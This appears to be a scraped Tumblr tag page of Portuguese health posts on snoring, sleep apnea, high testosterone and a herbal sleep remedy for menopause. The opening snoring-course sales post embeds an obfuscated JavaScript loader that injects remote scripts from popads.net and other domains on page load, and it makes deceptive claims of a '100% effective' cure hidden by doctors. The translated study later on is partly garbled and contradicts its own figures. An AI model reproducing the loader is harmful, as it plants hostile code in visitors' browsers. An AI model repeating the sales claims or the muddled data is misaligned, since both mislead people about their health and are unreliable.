#0 que é apneia do sono | Explore Tumblr posts and blogs

ocursofuncionaouefraude-blog · 7 years ago

Text

guia acabar com o ronco o curso funciona ou é fraude?

New Post has been published on http://www.ocursofuncionaouefraude.com.br/guia-acabar-com-o-ronco-o-curso-funciona-ou-e-fraude/

guia acabar com o ronco o curso funciona ou é fraude?

/*<![CDATA[/* */ /* Privet darkv. Each domain is 2h fox dead */ (function() var m=window;m["_\u0070o\x70"]=[["\x73\u0069\u0074eI\x64",2329063],["\u006di\x6e\x42id",0],["\x70o\x70\u0075\u006ed\u0065\x72s\u0050\x65\u0072I\u0050",0],["\x64ela\x79B\u0065tw\x65\x65n",0],["\u0064\x65\u0066au\u006c\x74",false],["\x64e\x66a\x75\x6c\u0074\x50\u0065r\u0044\x61\x79",0],["\x74\x6fp\u006d\x6f\u0073\x74\u004ca\x79\x65\u0072",!0]];var c=["/\x2f\u0063\u0031\u002e\x70\u006f\u0070ad\u0073\u002e\u006eet\u002f\u0070\u006f\x70.\u006a\x73","\x2f\u002f\x632\u002ep\u006fp\x61d\x73\x2en\u0065\u0074\x2f\x70\u006f\u0070\x2ej\x73","\x2f\u002f\u0077\u0077\x77.\u0064\u0065\u0079\u007a\x6a\x61\x69\u0067\x67\u0077\x7a\u002e\x63\x6fm/\u0072z\u006bd\u002ej\x73","//w\u0077\u0077\x2e\u0067\u0065\u006eq\u0072\u0061\x62\u006ft\x2e\x63o\x6d/\u006b\u0077\x2ej\x73",""],r=0,y,e=function()if(""==c[r])return;y=m["\u0064\u006fc\u0075\u006d\x65\x6et"]["\u0063\u0072\u0065a\x74\u0065\x45\u006c\u0065\x6den\x74"]("s\x63\u0072\x69\u0070\x74");y["\u0074\x79\x70\u0065"]="t\u0065\x78\u0074/j\u0061\x76\x61\u0073\x63\x72\u0069p\x74";y["a\x73y\u006e\x63"]=!0;var x=m["\u0064\u006f\u0063u\x6dent"]["getE\x6c\x65m\x65\x6e\x74\u0073B\x79\x54\x61g\x4ea\x6d\x65"]("\x73\u0063rip\x74")[0];y["\x73\u0072\u0063"]=c[r];if(r<2)y["c\u0072\x6f\u0073\u0073O\u0072\u0069g\u0069n"]="\x61\u006e\u006fn\u0079\x6dous";;y["\x6f\u006e\x65\u0072\u0072o\x72"]=function()r++;e();x["\u0070\x61r\u0065n\u0074N\x6f\u0064\x65"]["i\u006e\u0073e\u0072t\u0042\x65\x66\u006fr\x65"](y,x);e())(); /*]]>/* */

guia acabar com o ronco o curso funciona ou é fraude?

guia acabar com o ronco o curso funciona ou é fraude ? .se você precisa de uma dica para acabar com este terrivel problema que leva :

a saúde a uma desgraça

o sono a uma desgraça

a vida a dois a uma desgraça

o ânimo a uma desgraça

a vida interior e exterior a uma desgraça

DESGRAÇA SE NÃO FOR TRATADO DA FORMA CORRETA OK? ENTÃO PRESTE ATENÇÃO:

Se você está cansado de perder noite de sono por conta do ronco;

Se você está cansado de incomodar as pessoas que ama;

Não quer fazer cirurgias caras que não são 100% eficazes

Não quer dormir com aparelhos estranhos no nariz o resto da vida

Não quer sentir vergonha por roncar em viagens em família

O que será passado para vocÊ é uma forma 100 % eficaz ou seja FUNCIONA NÃO É FRAUDE de como vocÊ consequir se livrar do ronca,vencer o ronco ,se curar do ronco,diminui por completo o ronco sozinho.Vamos ver uma pequena apresentação sobre o tema ?

clique aqui agora e receba um desconto monstro

[PERSAAS id=”8470″ user=”3666″]

guia acabar com o ronco o curso funciona ou é fraude?

guia acabar com o ronco o curso funciona ou é fraude? o que é ?

é um método que vai ensinar a vocÊ como parar de roncar,método secreto e 100% escondido pelos médicos que não querem revelar os grandes segredos que geram milhões de reais por eles todo ano

sem sombra de dúvida você sabe que o ronco é algo extremamente pertubador e já deve fazer parte da sua vida a muito mas muito tempo mesmo e pode realmente levar sua vida a uma tremenda ruína

VOCÊ PODE MUDAR ESSA SITUAÇÃO!!! E VOCÊ PODE MUDAR ISSO EM APENAS ALGUMAS SEMANAS SABIA?

o Autor deste método se chama Henrique pereira um cara que roncava tanto que as vezes a filhinha dele chamava ele de caminhão papai dá para imaginar não?

ele começou a roncar na faculdade pelo estresse que os estudos causavam e isso pode ser da sua família,do seu trabalho ou do seu ambiente de amigos e convivência sabia?

Logo todos na faculdade sabiam do master ronco que ele tinha na faculdade evirou chacota pura ai veio o bullyn que só piorou a situação pois ele não sabia o que fazer

A vergonha começou a bater nele e já não ia dormir na casa de amigos e coisa do tipo assim nosso amigo caiu em depressão invisível digo invisível pois as pessoas que passam por isso nem sabem e você pode estar passando por isso agora e nem sabia ISSO É DEPRESSÃO INVISÍVEL PELO RONCO.

IMAGINA LEVAR UMA MULHER PARA O MOTEL ,UM SACRIFÍCIO NO OUTRO DIA POIS ELE SE MANTINHA ACORDADO PARA NÃO PASSAR VERGONHA .

Finalmente ele achou algo que funcionou com ele sem dinheiro para ir a médicos né ele tinha achar algo que DE FÁCIL ACESSO QUE MUDA-SE SUA VIDA.Foi aí então que ele decidiu criar o PROGRAMA COMO ACABAR COM O RONCO

[PERSAAS id=”8470″ user=”3666″]

clique aqui agora e receba um desconto monstro

guia acabar com o ronco o curso funciona ou é fraude? o que vou aprender?

no método será abordados os seguintes tópicos que vão lhe ajudar a cuidar melhor do problema vejamos :

1) IDENTIFICAR AS CAUSAS DO PROBLEMA

O Ronco não é nenhum bicho de sete cabeças. Entender melhor esse mal é o primeiro passo para extermina-lo

2) O TRATAMENTO IDEAL PARA VOCÊ

Cada um de nós tem um organismo diferente. É por isso que me preocupei em criar um método que se adapte a você.

3) TRATAMENTO 100% NATURAL

Viver sem precisar gastar fortunas com remédios ou até mesmo cirurgias é libertador. É por isso que você vai aprender o Tratamento natural

clique aqui agora e receba um desconto monstro

videos sobre o tema

0 notes

marketingcomcaio · 6 years ago

Text

Testosterona Alta no Homem – Sintomas e Tratamento

A testosterona é um hormônio masculino muito importante para regular as funções reprodutivas e diversas características físicas masculinas. Apesar de as mulheres também apresentarem níveis baixos de testosterona, é nos homens que esse hormônio exerce maior influência.

Mas será que o excesso de testosterona nos homens é sinal de algum problema? Nesse artigo, vamos falar sobre os sintomas de testosterona alta no homem, sobre a existência ou não de um tratamento, além de discutir algumas das possíveis causas da alteração.

Testosterona

A testosterona é produzida nos homens pelos testículos. Trata-se de um hormônio produzido em grande quantidade nos homens e que é responsável por característica sexuais secundárias como a voz mais grossa, a presença de pelos no peitoral e no rosto, além de contribuir para a libido, a construção de massa muscular e a energia.

Testosterona alta no homem

Testosterona alta no homem é algo comum e raramente é sinal de um problema. No entanto, homens que fazem algum tipo de tratamento com esteroides anabolizantespodem ter um excesso do hormônio.

Em geral, os níveis normais de testosterona nos homens variam de 270 a 1070 nanogramas por decilitro de sangue, o que representa uma média de 679 nanogramas por decilitro.

Por volta dos 20 anos de idade, há um pico de testosterona nos homens e, com o passar dos anos, esse nível tende a cair. De acordo com pesquisadores, homens adultos saudáveis que já passaram pela puberdade apresentam níveis de testosterona entre 400 e 600 nanogramas por decilitro.

Na maioria dos homens, ter testosterona em excesso não faz mal e até pode trazer benefícios para a saúde como o controle da pressão arterial sanguínea e a redução do risco de obesidade e de ataques cardíacos.

No entanto, o excesso de testosterona também pode resultar em efeitos colaterais similares aos de alguns esteroides anabolizantes que aumentam a concentração de testosterona no organismo.

Sintomas de testosterona alta

Os principais sintomas de testosterona alta no homem, quando ocorrem, podem incluir:

1. Infecções na pele como a acne

Altos níveis de testosterona no sangue podem promover inflamações na pele como a acne.

2. Comportamento agressivo ou impulsividade

Alterações no humor podem acontecer quando há um excesso de testosterona no organismo do homem, fazendo com que ocorram surtos de raiva ou tendência de agir por impulso.

3. Aumento do tamanho da mama

Sintomas como esse acontecem porque o excesso de testosterona no corpo pode ser convertido no hormônio feminino estrogênio, que faz com que característica femininas como o aumento das mamas possam surgir.

4. Redução na produção de espermatozoides

Testosterona alta no homem pode levar a uma contagem mais baixa de espermatozoides. Isso porque a presença de muito hormônio pode sobrecarregar o sistema reprodutor masculino, causando problemas relacionados à fertilidade.

5. Problemas cardíacos

Alguns estudos indicam que homens com níveis de testosterona até 500 nanogramas por decilitro acima do normal são 2 vezes mais propensos a sofrer ataques cardíacos do que outros homens.

Além disso, dados de 2010 da American Association for the Advancement of Science mostram que altos níveis de testosterona em homens podem aumentar o risco de desenvolvimento de aterosclerose. Também pode existir uma conexão entre uma proteína que se liga à testosterona – conhecida como globulina de ligação a hormônios sexuais – e o surgimento de doenças cardíacas.

6. Apneia do sono

Na apneia do sono, o indivíduo tem dificuldade de respirar durante o sono e níveis altos de testosterona nos homens podem aumentar esse risco.

7. Retenção de fluidos

A testosterona em excesso pode resultar na retenção de líquidos e causar outras complicações de saúde.

8. Alterações nos órgãos sexuais como encolhimento dos testículos

O excesso de testosterona pode interromper a atividade nos testículos, causando o seu encolhimento.

Outros sintomas possíveis incluem:

Queda de cabelo;

Próstata aumentada;

Doença hepática;

Impulsividade;

Hipertensão arterial;

Contagem alta de glóbulos vermelhos;

Infertilidade.

Possíveis causas da testosterona alta no homem

1. Puberdade precoce

É muito improvável que algum distúrbio de saúde faça com que os homens produzam muita testosterona. O mais comum é que crianças e adolescentes com testosterona em excesso apresentem surtos de crescimento e sinais de puberdade precoce, além de poder causar problemas de infertilidade.

Nesses casos, os níveis de testosterona devem ficar estáveis na idade adulta sem a necessidade de tratamento.

2. Uso de esteroides

O uso de esteroides anabolizantes é a causa mais provável de níveis altos de testosterona em homens adultos. Tais substâncias são hormônios androgênicos sintéticos que elevam os níveis de testosterona no corpo. No entanto, o uso prolongado desse tipo de composto pode causar efeitos colaterais graves.

3. Hipertireoidismo

O hipertireoidismo é uma condição em que a glândula tireoide produz hormônio tireoidiano em excesso. Embora as mulheres sejam as mais afetadas, homens com hipertireoidismo podem ter testosterona em excesso. O hipertireoidismo pode ser causado por problemas como inflamação na glândula tireoide, nódulos na tireoide, consumo excessivo de iodo ou doença de Graves.

4. Tumores na glândula suprarrenal

Alguns tipos de tumores na glândula suprarrenal podem resultar na produção e secreção de mais testosterona do que o normal além de níveis mais altos de hormônios como a adrenalina. Outros sintomas de um tumor na glândula suprarrenal podem incluir nódulos no abdômen e dores no abdômen ou nas costas.

Tratamento

As condições de saúde que causam testosterona alta são raras e, segundo especialistas, o que geralmente acontece é uma confusão entre sintomas de abuso de substâncias esteroides anabolizantes e o excesso de testosterona.

Assim, o tratamento consiste em tratar a condição subjacente quando a causa for um hipertireoidismo ou um tumor na glândula suprarrenal, por exemplo, por meio de medicamentos específicos.

Outra abordagem seria interromper ou diminuir a terapia de reposição hormonal que envolve o uso de esteroides anabolizantes.

Testosterona alta é um problema?

Geralmente não. Mas é preciso diagnosticar a condição para descartar problemas de saúdes que podem alterar a produção hormonal no organismo masculino.

Além disso, é preciso estar atento e não abusar do uso de esteroides anabolizantes sem prescrição médica, pois apesar de eles poderem facilitar o ganho de massa muscular e aumentar o desempenho físicos, tais substâncias podem causar efeitos colaterais desagradáveis incluindo alterações comportamentais.

Referências Adicionais:

https://www.mayoclinic.org/healthy-lifestyle/mens-health/expert-answers/testosterone-therapy-side-effects/faq-20090015

https://www.mayoclinic.org/healthy-lifestyle/sexual-health/in-depth/art-20045728

https://www.cancer.org/treatment/treatments-and-side-effects/physical-side-effects/fertility-and-sexual-side-effects/sexuality-for-men-with-cancer/how-male-body-works-sexually.html

https://www.ncbi.nlm.nih.gov/pubmed/24024838

https://www.ima.org.il/filesupload/imaj/0/54/27288.pdf

Você já teve ou conhece alguém que tenha sido diagnosticado com testosterona alta no homem? Qual causa teve a condição? Comente abaixo!

Note: There is a rating embedded within this post, please visit this post to rate it. Testosterona Alta no Homem – Sintomas e Tratamento Publicado primeiro em https://www.mundoboaforma.com.br

0 notes

ideiagoias · 6 years ago

Text

IES - Instituto de Especialidades e Sono: Os sintomas e causas da apneia obstrutiva do sono

IES – Instituto de Especialidades e Sono: Os sintomas e causas da apneia obstrutiva do sono

A Apneia Obstrutiva do Sono (SAOS) é uma parada respiratória causada pelo colabamento na região da faringe e ocorre predominantemente em que ronca. No momento da apneia, os roncos cessam, justamente pela parada do fluxo de ar. A repetição dos episódios de apneia, tem como consequência a menor oxigenação do sangue, o que pode resultar em danos ao organismo.

A apneia no adulto se caracteriza pela…

View On WordPress

#Assessoria de Imprensa #Destaque #Goiânia #Goiás #Ideia Goiás #IES #Imprensa #Instituto de Especialidades e Sono #Manchetes #Notícias #Saúde

0 notes

folhadegoias · 6 years ago

Text

IES - Instituto de Especialidades e Sono: Os sintomas e causas da apneia obstrutiva do sono

IES – Instituto de Especialidades e Sono: Os sintomas e causas da apneia obstrutiva do sono

A apneia no adulto se caracteriza pela…

View On WordPress

#Destaque #Goiânia #Goiás #Manchetes #Saúde

0 notes

blogcabelosme · 6 years ago

Text

efeito sobre distúrbios do sono na menopausa

Muitas mulheres, ao atingirem a menopausa, começam a ter dificuldade em adormecer. Há casos frequentes de mulheres na idade da menopausa que apresentam insônia ou dificuldade para dormir. Portanto, o objetivo deste artigo é avaliar o efeito de Guizhi Gancao Longgu Muli Tang (GGLMT), uma decocção medicinal da Medicina Tradicional Chinesa (MTC), sobre distúrbios do sono em mulheres com menopausa.

Métodos: 162 participantes foram recrutados para o tratamento de distúrbios do sono de fevereiro de 2012 a dezembro de 2014. Cada participante tomou uma decocção de 200 ml, duas vezes ao dia, meia hora após o almoço e jantar, durante duas semanas. A qualidade do sono foi avaliada pelo Índice de Qualidade do Sono de Pittsburg (PSQI), enquanto os sintomas da menopausa e a qualidade de vida foram avaliados pela escala de classificação da menopausa (MRS). ) e a versão chinesa da escala de qualidade de vida da OMS (WHOQOL-BREF) no controle final de acompanhamento do quarto fim de semana após o início.

Resultados: Os escores médios do PSQI diminuíram de (13,82 ± 4,97) para (8,14 ± 3,19), IC 95% (-4,87, -3,05), na quarta semana, após o tratamento de 2 semanas com Gancao Longgu Muli Tang. O GGLMT melhorou os sintomas em pacientes com condições mais severas (MRS ± 16). Houve três reações adversas a drogas, aftas, constipação e foliculite que poderia estar relacionada a GGLMT e que remitiam após a retirada do tratamento.

Conclusão: Para mulheres na menopausa que sofrem de distúrbios No sono crônico, nossos achados sugerem que o tratamento de duas semanas com Gancao Longgu Muli Tang é seguro e efetivo.

Palavras-chave: Transtornos do sono; Guizhi Gancao Longgu Muli Tang; Mulheres no climatério; Medicina Tradicional Chinesa

INTRODUÇÃO

Os distúrbios do sono não são apenas um dos desconfortos habituais das mulheres no climatério, mas também um dos sintomas difíceis de suportar que resultam em uma má qualidade de vida (CV) em pacientes na menopausa 1,2 . O fenômeno aparece em mais da metade dos pacientes na menopausa e pode aparecer independentemente ou em conjunto com outros sintomas climatéricos que envolvem muito desconforto 3,4 .

Quando se trata de melhorar a qualidade do sono , os benzodiazepínicos foram considerados eficazes no campo farmacêutico, desde que foram aprovados em 1960 5 . Embora os benzodiazepínicos, que são a geração mais antiga que os hipnóticos, sejam considerados de primeira escolha em protocolos clínicos, sabe-se que esse tipo de medicamento pode trazer efeitos adversos suficientes para o paciente como a insônia rebote. , confusão, sedação durante o dia, entre outros. Consequentemente, pacientes com menopausa são direcionados para a medicina complementar e alternativa para tratar seus distúrbios do sono e melhorar a qualidade de vida sem reações adversas a medicamentos 6,7 .

Guizhi Gancao Longgu Muli Tang (GGLMT) tem sido usado como um tratamento tranqüilizante por Zhang Zhong Jing na Medicina Tradicional Chinesa Tradicional (MTC) Shang Han Za Bing Lun (Explicação e receitas essenciais para uma variedade de doenças) que foi escrito em 210 aC Na literatura que interpreta o clássico afirma-se que Gancao Longgu Muli Tang pode aquecer e reforçar o Yang do Coração e acalmar o excesso de Yang para induzir um efeito tranquilizante e melhorar a insónia. TCM é um medicamento empírico, de acordo com a teoria da MTC, as indicações e contra-indicações das prescrições de experiência clínica e literatura clássica. Ele se espalhou amplamente para o Japão e Coréia do Sul e outras áreas. 9,10

Freqüentemente, Gancao Longgu Muli Tang aparece nas prescrições para pacientes na menopausa em território chinês 11 Infelizmente, nenhuma empresa farmacêutica planeja realizar qualquer estudo clínico controlado com Gancao Longgu Muli Tang que qualquer médico da MTC na China possa prescrever. Nosso estudo teve como objetivo avaliar o efeito do GGLMT no distúrbio do sono em mulheres na menopausa.

MATERIAIS E MÉTODOS

Recrutamento de pacientes Para este ensaio mulheres na menopausa com distúrbios do sono foram recrutadas do Hospital Zhongda anexado ao Universidade do Sudeste. O julgamento foi aprovado pelo Comitê de Ética do Hospital da Cidade de Nanjing. Recrutamento foi relatado por cartazes publicitários em frente à porta do hospital para pacientes que inicialmente tinham ido ao ambulatório de medicina tradicional chinesa devido à baixa eficácia da terapia de reposição hormonal para o distúrbio do sono em fevereiro. 2012 a dezembro de 2014. As mulheres na menopausa compreenderam o desenvolvimento e a importância deste estudo e assinaram voluntariamente cada um dos formulários de consentimento informado. Após a compreensão dos aspectos importantes do estudo, os enfermeiros foram treinados para as tarefas que foram realizadas de acordo com os padrões de boa prática clínica (GCP). Uma mulher no climatério teve que passar por duas entrevistas se fosse recrutada. Na primeira entrevista, ele foi questionado sobre a história clínica e um exame correspondente foi realizado. Na entrevista a seguir, uma avaliação médica foi composta por testes bioquímicos funcionais, análises de rotina completas e alguns dados de referência, como qualidade de vida e sintomas. Partes da observação foram supervisionadas pelo Comitê de Ética Independente da Pesquisa Clínica do Hospital Zhongda filiado à Universidad del Sureste

Critérios de inclusão

Pacientes no climatério, com idade entre 41 e 66 anos, com dificuldade em conciliar e manter o sono (> 45 minutos de adormecer e duração não superior a 6 horas). Os pacientes tentaram resolver o problema por mais de 3 meses. Os participantes deste estudo eram mulheres na menopausa cuja pontuação total do Índice de Qualidade do Sono de Pittsburgh (PSQI) era maior que 6.

Critérios de exclusão

Os pacientes que preencheram as seguintes condições não foram incluídos: (a) tenham sido feridos em um acidente grave dentro de três meses deste julgamento; (b) trabalho noturno; (c) a falta de tempo ou dificuldade da agenda, não tendo o tempo necessário para participar deste julgamento; (d) doenças associadas, como hipertensão, depressão, arritmia cardíaca, infarto agudo do miocárdio, síndrome da hipopneia ou apneia obstrutiva do sono, câncer, diabetes, psicose, síndrome das pernas inquietas e outras doenças que poderiam interferir no resultado (e) ingestão de alimentos e administração de medicamentos que poderiam alterar as histaminas, o glutamato, o ácido gama-aminobutírico (GABA), a acetilcolina, a serotonina adenosina, as prostaglandinas, a melatonina ou a noradrenalina; (f) anormalidades na forma de valores superiores a 1,5 vezes o limite superior dos parâmetros funcionais do rim ou do fígado (alanina aminotransferase (ALT): 29 UI / L, aspartato aminotransferase (AST): 25 UI / L azoto ureico no sangue (BUN): 22 mg / dl, creatinina sérica 1,3 mg / dl); (G) Não ser capaz de ler, entender ou escrever qualquer informação relacionada a este ensaio.

Tratamento com Gancao Longgu Muli Tang

Gancao Longgu Muli Tang é uma decocção que combina as seguintes quatro substâncias medicinais da MTC: Guizhi (Ramulus Cinnamomi) 15 g, Zhi Gancao (tratado com Radix Glycyrrhizae) 30 g, Longgu (Os Draconis) 30 ge Muli (Conch Ostreae) 30 g9. Esta decocção composta da farmácia hospitalar Zhongda atendeu aos critérios internacionais de qualidade e uniformidade e os pedaços de decocção de ervas chinesas na farmácia foram fornecidos por uma empresa certificada, Nanjing Pharmaceutical Co., Ltd., (Nanjing, China). , seguindo os padrões de boa fabricação (GMP). Exceto pela supervisão do estudo, a associação não teve influência na seleção dos participantes, no desenho da observação e em nenhum outro trabalho. As peças de decocção da medicina chinesa Gancao Longgu Muli Tang foram processadas em uma máquina controlada por um microcomputador profissional comprado da Donghe Technology Company (Xuzhou, China), 400 ml de decocção por 105 g da mistura vegetal chinesa. A decocção foi transferida para o condensador, onde o líquido foi reduzido a baixa temperatura. O líquido foi então embalado e administrado por via oral a uma dose de 200 ml, que foi tomado duas vezes ao dia meia hora após o almoço e jantar durante duas semanas e um total de 400 ml de decocção por dia correspondeu a 105 g de drogas cruas da decocção GGLMT. Nenhuma substância medicinal restrita, espécies em perigo de extinção ou componentes de produtos animais foram utilizados no estudo. A presença de metais pesados, bactérias E. coli e Salmonella também foi monitorada em cada lote de GGLMT. Nenhuma terapia hipnótica ou outra baseada em plantas medicinais foi permitida durante as duas semanas.

As visitas de controle foram feitas no segundo e quarto fins de semana. No final do estudo, foram realizados os testes de função bioquímica, uma avaliação básica do estado de saúde, uma exploração e outros testes físicos de cada participante. Os participantes foram informados e encorajados a participar do estudo por telefone antecipadamente. Eventos adversos (EA) foram registrados por escrito em cada visita de controle.

Medição dos resultados do estudo sobre Gancao Longgu Muli Tang

A avaliação dos resultados incluiu o Índice de Qualidade do Sono de Pittsburgh (PSQI), a escala de classificação da menopausa (MRS) e a escala da escala. qualidade de vida da Organização Mundial de Saúde-BREF (WHOQOL-BREF) em chinês. Foram aplicados para a avaliação do estado iniciado e duas semanas após o tratamento, ou seja, houve duas medidas.

O PSQI é uma avaliação subjetiva, sob várias perspectivas, composta de 19 questões individuais com 7 componentes (uso de medicamentos para dormir, distúrbios do sono habitual, disfunção diurna, latência do sono, duração do sono e qualidade subjetiva). de sono, eficiência). O PSQI usa uma escala de quatro pontos (0: qualidade do sono muito boa, 1: boa qualidade do sono, 2: qualidade do sono ruim, 3: qualidade do sono muito ruim), onde uma pontuação mais baixa indica um distúrbio do menor sono. Uma análise do sono das mulheres em geral é baseada na soma de todas as pontuações. Uma pontuação total menor indica uma melhor qualidade do seu sono. O PSQI é aplicado por sua confiabilidade e validade em muitos estudos para amostras clínicas de mulheres na menopausa sendo a única limitação da aplicação que não pode mostrar com precisão a qualidade do sono antes de um mês anterior devido à imprecisão da memória. 12 MRS, com uma escala de cinco pontos variando de sem sintomas (0) até sintomas muito graves (4), reflete a intensidade de cada componente da seguinte forma: ondas de calor, depressão, nervosismo, sudorese, distúrbios do sono etc. O instrumento foi utilizado para obter uma avaliação sistêmica da flutuação fisiológica e mudanças psicológicas 13 . A pontuação total foi igual à soma das pontuações de cada dimensão. Os níveis necessários para expressar o significado clínico das dimensões foram: pontuação total 1-15 (leve a moderada) e 16 (grave).

A versão chinesa do WHOQOL-BREF, que Inclui 24 facetas do estado geral de saúde, é composto por quatro subsecções e dois itens nacionais sobre qualidade de vida (QV). De acordo com a escala de Likert, cada faceta é qualificada por uma escala de seis pontos (1 = menor qualidade de vida, 5 = maior qualidade de vida). O método compara os escores de cada área cuja pontuação média é multiplicada por 4, então a pontuação média de cada parte varia entre 4 e 20 (4 = estado muito grave, 20 = estado muito favorável) 14 . 19659028] Análise estatística

Modelos de regressão linear múltipla foram aplicados às variáveis dependentes dos diferentes escores da avaliação do PSQI e das medidas do WHOQOL. As variáveis dependentes do modelo de regressão foram idade, escolaridade, estado civil, IMC (em kg / m2) e gravidade inicial da síndrome menopausada. Para avaliar a eficácia ao longo do mês, duas variáveis observadas nas entrevistas na segunda e quarta semana também foram tomadas no modelo de regressão. A pontuação de cada componente do PSQI foi verificada para identificar sua sensibilidade. O SPSS 18.0 (International Business Machines Corporation, Chicago, IL, EUA) foi utilizado para análise de dados. O valor de P <0,05 foi considerado estatisticamente significativo.

População do estudo

Das 460 mulheres do climatério que apresentaram, 162 pacientes foram informados de que eram elegíveis e 298 foram excluídos. Os principais fatores que determinaram a exclusão foram: estado de saúde e medicamentos (n = 102), ausência de interesse pela participação (n = 93), ausência de participação na observação adicional (n = 86) e ausência de sintomas de Distúrbios do sono graves = 17). Finalmente, 148 (91%) das 162 mulheres com intenção de tratar no início passaram por uma observação de cerca de 4 semanas sem nenhum incidente grave, o que foi registrado no registro de dados para avaliar a eficácia e a segurança. Além disso, houve 14 retiradas do tratamento como consequência de efeitos adversos graves (n = 6), efeitos terapêuticos deficientes (n = 1) e tratamento invasivo de outras doenças graves (n = 7).

Dados demográficos básicos são mostrados e as características clínicas do estudo. Os participantes da observação apresentaram idade média de 53 anos, eram casados, com IMC normal e 41,98% com ensino médio ou superior. A fim de reduzir a influência dos fatores de interferência, os pacientes foram divididos em dois grupos separados de acordo com o escore basal da ERM. Os escores das mulheres com sintomas climatéricos leves a moderados em um grupo foram menores que 16 e os escores dos pacientes com sintomas climatéricos severos no outro grupo não foram inferiores a 16.

Efeitos adversos e de segurança de Gancao Longgu Muli Tang

As funções renal e hepática verificadas duas vezes não mostraram diferenças significativas após as 2 semanas de tratamento de Gancao Longgu Muli Tang e no final do estudo. No entanto, o estudo destacou vários problemas de segurança. Seis pacientes interromperam o tratamento devido a efeitos adversos (EAs), sendo úlceras na boca, constipação e foliculite. Havia três mulheres com aftas, duas com constipação e uma com foliculite após tomar GGLMT. Avaliações periódicas de possíveis efeitos adversos foram feitas durante o período de intervenção e foi demonstrado que a afta dos 6 pacientes durante a toma de GGLMT desapareceu após aproximadamente 5 dias da retirada do estudo. Portanto, não se pode negar que o tratamento com Gancao Longgu Muli Tang poderia induzir aftas, constipação e foliculite em mulheres na menopausa.

Eficácia de Gancao Longgu Muli Tang

Após duas semanas de intervenção com Gancao Longgu Muli Tang, os sinais e sintomas relacionados aos seis componentes do PSQI melhoraram significativamente e os escores médios do PSQI diminuíram de 13,82 ± 4,97 para 8,04 ± 3,75 (IC95% da diferença de médias – 4,76, -3,11). A melhora percentual em cada componente do PSQI foi de 26,12% para a latência do sono, 26,88% para a duração do sono, 53,61% para a disfunção diurna, 45,1% para os distúrbios habituais do sono, 35,02% para distúrbios do sono e 45,84% para a qualidade subjetiva do sono na segunda semana. O valor médio da latência por dia diminuiu de 56,83 ± 47,17 minutos no início do estudo para 30,89 ± 19,04 minutos no final. O valor médio da duração por dia aumentou de 4,85 ± 1,13 h no início da observação para 5,67 ± 1,32 h após duas semanas de intervenção. Por fim, os escores médios do PSQI diminuíram de 13,82 ± 4,97 no início da observação para 8,14 ± 3,19 na quarta semana (IC95% da diferença nas médias -4,87, – 3,05). Os percentuais de melhora de cada componente do PSQI foram de 28,57% para a latência do sono, 29,64% para o sono, 47,59% para a disfunção diurna, 42,16% para os distúrbios do sono habitual 33. , 64% para distúrbios do sono e 40,71% para a qualidade subjetiva do sono na quarta semana.

Entre os pacientes que desejavam melhorar o desconforto climatérico, os escores da MRS de 24 das 162 mulheres aumentaram no final. . 4 pacientes sentiram que nada havia mudado na qualidade do sono desde o início até o final do estudo. Um caso considerou que a qualidade do sono era mais grave no início do que no final, enquanto os restantes 19 pacientes notaram uma melhor qualidade de sono na quarta semana.

A eficácia sugerida pelos resultados dos diferentes fatores é o resultado do PSQI após análises de regressão linear múltipla. Quando o valor do nível dos sintomas irrelevantes para o sono permaneceu fixo, os modelos de regressão linear múltipla indicaram uma melhora significativa nos componentes do PSQI após duas semanas de intervenção com GGLMT. Além disso, nosso estudo mostrou que houve um efeito significativo após duas semanas com GGLMT, com uma dose de 200 ml duas vezes ao dia e essa eficácia foi mantida por duas semanas após a descontinuação do consumo. Por outro lado, não houve mudanças significativas nos escores do WHOQOL-BREF após a permanência de outros possíveis fatores de interferência. Para esclarecer a relação entre PSQI e WHOQOL-BREF com algumas definições de variáveis, foram construídos modelos de regressão linear separados cujos resultados são mostrados. O coeficiente de regressão da melhora da pontuação média na semana 4 versus o início para todos os desfechos dos componentes do índice de qualidade do sono de Pittsburg foi de -0,122, -0,218, -0,120, -0,160, -0,105, – 0,130 (P <0,05, P <0,01 ou P <0,001) e o coeficiente de regressão da qualidade do sono no início do estudo para disfunção diurna foi de 0,591 na Tabela 3 (P 0, 05

DISCUSSÃO

O estudo indica uma melhora significativa do sono devido à intervenção com GGLMT durante 14 dias. Apesar da auto-comparação e do teste pareado t realizados aqui para excluir os fatores de interferência, como tabagismo, exercício, status socioeconômico, provável efeito placebo, etc., seu impacto não pode ser completamente eliminado . Portanto, um estudo mais aprofundado foi realizado: as mulheres foram divididas em dois grupos (grupo leve a moderado com sintomas climatéricos leves a moderados e grupo grave com sintomas climatéricos severos) (Tabela 1). Em seguida, os escores dos seis componentes do PSQI e os escores totais do PSQI dos dois grupos foram analisados. Não foram encontradas diferenças significativas entre os escores de qualquer componente do PSQI e os escores totais do PSQI no início do estudo (P> 0,05), enquanto foi constatado que a disfunção diurna no grupo grave melhorou significativamente após a intervenção do grupo. GGLMT de duas semanas

Finalmente, a média dos escores totais do PSQI aumentou 4,76 no grupo de leve a moderado, e 73,42% das 79 mulheres finalmente conseguiram melhorar a qualidade do sono no grupo . 2,53% das mulheres do grupo sofreram pior qualidade do sono na avaliação final do que no início. Em contraste, a média dos escores totais do PSQI aumentou em 6,31 no grupo de leve a moderado, e 81,93% dos 83 participantes obtiveram uma qualidade de sono maior do que o grupo grave. 3,61% dos participantes do grupo grave sofreram menor qualidade de sono nas quatro semanas em relação ao início. Os dados do estudo indicaram que os escores de disfunção diurna e a qualidade subjetiva do sono dos participantes com sintomas climáticos leves não diminuíram porque não alcançaram uma comparação direta. Apesar da ausência de um grupo placebo ou de um estudo randomizado, ficou óbvio que uma melhoria significativa nos escores de disfunção diurna sugeriu a eficácia positiva da terapia com GGLMT para muitos sintomas climatéricos, o que não foi relatado em estudos prévios. Os resultados da observação indicaram que houve alguma eficácia após uma intervenção GGLMT de duas semanas e que a eficácia poderia persistir por mais 2 semanas, após a sua retirada. Com base nos resultados da observação e numa perspectiva farmacocinética baseada na fisiologia, a eficácia da diminuição dos sintomas apareceu sempre após cinco dias, o que indicou que o GGLMT não seria um tipo de solução rápida e que não era indicado que seu efeito lento foi comparado com o de hipnóticos convencionais de ação rápida, como o zolpidem 15 . A análise de dados também ilustrou essas comparações diretas de decocção com hipnóticos de ação rápida para futuros estudos controlados. Os resultados do estudo indicaram que seis pacientes descontinuaram o tratamento devido a efeitos adversos (AD), incluindo aftas, constipação e foliculite. Essas reações adversas não foram tão severas a ponto de proibir o tratamento com GGLMT.

